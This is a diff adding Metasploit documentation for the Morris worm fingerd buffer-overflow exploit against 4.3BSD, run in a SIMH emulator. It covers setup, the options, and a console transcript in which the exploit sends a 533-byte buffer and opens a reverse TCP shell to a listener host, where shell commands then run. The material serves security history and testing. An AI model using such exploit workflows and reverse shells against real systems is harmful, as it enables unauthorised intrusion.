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documentation/modules/exploit/bsd/finger/morris_fingerd_bof.md

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+## Intro
+
+This module exploits a stack buffer overflow in `fingerd` on 4.3BSD.
+This vulnerability was exploited by the Morris worm in 1988-11-02.
+Cliff Stoll reports on the worm in the epilogue of *The Cuckoo's Egg*.
+
+## Setup
+
+For manual setup, please follow the Computer History Wiki's
+[guide](http://gunkies.org/wiki/Installing_4.3_BSD_on_SIMH) or Allen
+Garvin's [guide](http://plover.net/~agarvin/4.3bsd-on-simh.html) if
+you're using [Quasijarus](http://gunkies.org/wiki/4.3_BSD_Quasijarus).
+
+A Docker environment will be provided and referenced in this document.
+
+## Targets
+
+```
+Id  Name
+--  ----
+0   @(#)fingerd.c   5.1 (Berkeley) 6/6/85
+```
+
+## Options
+
+**RPORT**
+
+Set this to the target port. The default is 79 for `fingerd`, but the
+port may be forwarded when NAT (SLiRP) is used in SIMH.
+
+**PAYLOAD**
+
+Set this to a BSD VAX payload. Currently only
+`bsd/vax/shell_reverse_tcp` is supported.
+
+## Usage
+
+```
+msf5 exploit(bsd/finger/morris_fingerd_bof) > options
+
+Module options (exploit/bsd/finger/morris_fingerd_bof):
+
+   Name    Current Setting  Required  Description
+   ----    ---------------  --------  -----------
+   RHOSTS  127.0.0.1        yes       The target address range or CIDR identifier
+   RPORT   79               yes       The target port (TCP)
+
+
+Payload options (bsd/vax/shell_reverse_tcp):
+
+   Name   Current Setting  Required  Description
+   ----   ---------------  --------  -----------
+   LHOST  192.168.1.2      yes       The listen address (an interface may be specified)
+   LPORT  4444             yes       The listen port
+
+
+Exploit target:
+
+   Id  Name
+   --  ----
+   0   @(#)fingerd.c   5.1 (Berkeley) 6/6/85
+
+
+msf5 exploit(bsd/finger/morris_fingerd_bof) > run
+
+[*] Started reverse TCP handler on 192.168.1.2:4444
+[*] 127.0.0.1:79 - Connecting to fingerd
+[*] 127.0.0.1:79 - Sending 533-byte buffer
+[*] Command shell session 1 opened (192.168.1.2:4444 -> 192.168.1.2:51992) at 2018-09-25 10:14:15 -0500
+
+whoami
+nobody
+cat /etc/motd
+4.3 BSD UNIX #1: Fri Jun  6 19:55:29 PDT 1986
+
+Would you like to play a game?
+```